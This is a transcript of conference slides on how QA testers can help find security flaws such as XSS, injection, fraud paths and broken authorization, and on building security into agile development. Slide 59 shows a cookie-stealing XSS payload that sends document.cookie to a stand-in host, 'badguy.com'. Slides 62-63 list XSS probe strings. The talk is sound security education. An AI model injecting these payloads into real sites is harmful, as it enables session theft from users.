Real World Security Testing

A talk about the role of QA testers in identifying security issues. Identifying opportunities for testers to contribute to application security.

Transcript

1. Real World Security Testing Matt Konda, Jemurai
2. Introduction 1997 2006 2014 Consultant Engineer Software Architect Director of Engineering Rabble Rouser: Perl Java Applet C++ J2EE J2EE
 Spring Analytics Certificate Authority Vulnerability Scanner Penetration Test Manager Pricing Retail Banking Manufacturing Pharma Healthcare Research Ruby Rails Chicago BSides 2011, 2012 Defcon Skytalk OWASP Chicago, MSP 2013 AppSec USA 2012, 2013 ChicagoRuby 2013 Secure 360 Lone Star Ruby 2013 WindyCityRails 2013 Chicago JUG 2014 RailsConf 2014 Converge 2014 MS in CS Founder Consultant Agile Clojure Graph Database Trying to hack a business model that succeeds while helping developers. Domains: Projects: Training Coaching Code Review Plugged in to SDLC Consulting Assessments @mkonda mkonda@jemurai.com
3. Why are we here?
4. ARE STAKEHOLDERS ASKING FOR SECURITY?
6. … and many others got hacked.
7. You don’t want to <insert your company name here/>
8. And let’s be honest.
9. We don’t know how to stop it.
10. But we know it costs
11. And might cost some people their
12. But its also because there is no other place to find these security issues.
14. Quick demo…
15. Agenda • Intro (We just did this) • Talking about Testing • Talk about scenarios from tester perspectives • Understanding security tools (and limitations) • Building Security Into Your SDLC • Wrap up
16. Testers
17. Manual testers
20. Exploratory testing
21. http://testobsessed.com/wp-content/uploads/2011/04/testheuristicscheatsheetv1.pdf
22. http://www.jemurai.com/images/SecurityTestingCheatSheet.pdf
23. The takeaway is people trained and manually looking for specific things is powerful.
24. Now take automated testing and developer testing.
25. The tools make it easier to get better coverage for certain things.
27. We still see mostly happy path testing.
28. The challenge is the same: education and time
29. So given both: Manual testing Automated testing
30. Let’s step back and think of two specific cases…
31. 1. Injection 2. Fraud
32. Injection • Attacker supplies unexpected input that gets executed at some point. • Can result in system commands running, data being dumped, and code running in places it shouldn’t.
33. Injection • Can often be detected by looking at code. • Can also be detected by testing different inputs and seeing what happens in relatively predictable ways. • In short, tools (both security and test automation) can often find this.
34. Fraud
35. Fraud • Of course there are many many different paths through which fraud can take place. • Consider: An attacker uses someone else’s account info that was leaked in a public break to make a transaction and send the purchase to a new address.
36. Fraud • In very few cases can fraud be detected by security tools. At least not without big custom implementation work. • A tester could try adding a purchase to a new shipping address and verify that the application prompts for the user’s credit card. (What Amazon does)
37. The interesting thing to think about here is that who is better situated to see fraud use cases than testers?
38. These are just brief examples to illustrate a point.
39. Next we’ll go deeper.
40. Scenarios
41. Cross Site Scripting (XSS)
43. XSS is code injection
44. Malicious user input gets treated like code by the browser.
45. Comes in different flavors
46. Reflected XSS User input is displayed back to the logged in user. Classic example is a search box. You search for XYZ but we couldn’t find it. OR Here are your results for XYZ
47. Demo with simple Node.js handlebars application.
48. Persistent XSS User input is saved for later in a DB or storage. When later shown it is treated like code.
49. The correct way to prevent XSS is to ensure all output is ENCODED.
50. What is encoding? <script>alert(‘hi’);</script> Becomes: &lt;script&gt;alert(‘hi’);&lt;/script&gt; It is the difference between rendering and evaluating.
51. Note that there are many XSS contexts. In the page In a path CSS directive Anywhere dynamic user input is put in the page without properly sanitizing it.
52. You might ask about input validation...
53. It can help, but with data coming from many different places the correct way to prevent XSS is with output encoding.
54. Why do we care?
56. XSS targets our users AND potentially bypasses network controls.
57. It also renders other protections useless, including CSRF and SSL.
58. It can also result in session leakage.
59. <img src=”http://badguy.com/harvester/? cookie=”+ document.cookie />
60. And phishing… http://ow.ly/QuCEv
61. So let’s just assume you want to eradicate XSS.
62. Manual testing strategies Test in Firefox. Try adding different scripts to form inputs: <script>alert(3)</script> <img src=”x” onerror=”alert(4)”/> <svg/onload=alert(5)</svg>
63. Manual testing strategies Still testing in Firefox. See if you can manipulate the DOM and break CODE with user input: “/><img src=x onerror=”alert(4)”;/> '';!--"=&{()}
64. Manual testing strategies Code... In js: {{{ innerHtml In Rails: .raw .html_safe
65. Automated testing strategies We use tools to help us find these. Developer tools. Burp.
66. Demo using js and webdriver.
68. What do we really expect?
69. Incremental improvement where possible.
70. At a minimum, testing fields manually for obvious XSS patterns.
71. Authorization
72. Insecure Direct Object Reference
73. Insecure Direct Object Reference • Enumerate and access resources that are not referenced by the application or intended to be accessible to the user Dennis Jim Salary Record Salary Record ?
74. Forceful Browsing
75. Insecure Direct Object Reference • In many apps, it is often easy to predict URL patterns. (Because of REST) • It is also extremely easy to REPLAY or resend a request that has been tampered with. • Therefore, it is always important to check that the logged in user has permissions to perform the action requested.
76. Insecure Direct Object Reference • If you’re like me, you might be doing this: • Listing methods • Delete methods • Update methods • Business Operation Methods
77. Instance Based Security
78. Insecure Direct Object Reference • Typically requires custom logic to implement rules. • Beware of the product that says it can find this automatically!
79. Function level access control
80. Example: Can a regular user perform admin functions?
81. Example: Can a regular timesheet user approve timesheets?
82. Testing authorization requires knowledge of application and business logic.
83. Authorization is a great example of a place where testing can provide HUGE benefits.
84. Note that when I say this I mean both MANUAL and AUTOMATED.
85. Security Tools
86. Static Analysis
87. Dynamic Analysis
88. App / Network Scanning
90. Speaking of tools…
91. There is no
    
92. EVIL False Positives Are a Necessary
95. Security in the SDLC
96. Lots of security issues exist because of process and our prioritization.
97. Security in the SDLC • Building software is a process. • The best way to make software secure is to make security part of the process. • There are many ways to do this - none is perfect. • Find a way to make the security fit your process.
102. Manual Test
103. Villain
108. Baseline Security Requirements
109. Story Points
110. Estimates to Include Security Considerations
111. Here’s why:
112. Agile metrics Credit: rallydev.com
113. Story Review
114. Incremental Code Review
115. Continuous Integration
116. Checklists
121. Agile metrics Credit: rallydev.com
122. Testing
124. Spend time on scenarios for negative testing
125. If you like all this stuff, maybe you should be a security champion
126. Standup
127. Architecture review
128. Operationalize
131. DevOps
132. DevOps Stats •High performers •2x success rate. •12x faster MTTR. •30x more deployments •8000x faster lead times •2x more like to exceed profitability, market share, productivity goals •50% market cap growth
133. Automation
134. Credit: Matt Tesauro at AppSecEU 2015 http://www.slideshare.net/mtesauro/mtesauro-keynote-appseceu
135. Wrap Up
136. Agenda • Intro • Talking about Testing • Talk about scenarios from tester perspectives • Understanding security tools (and limitations) • Building Security Into Your SDLC • Wrap up (We’re doing this)
137. Takeaways • Channel a villain • Ask security questions in requirements • Test for XSS, Injection, Authorization • Leverage automation where possible • Know some of the limits of security tools • Visit owasp.org to find more resources!
138. Thank you.
139. Questions?
140. Thank you.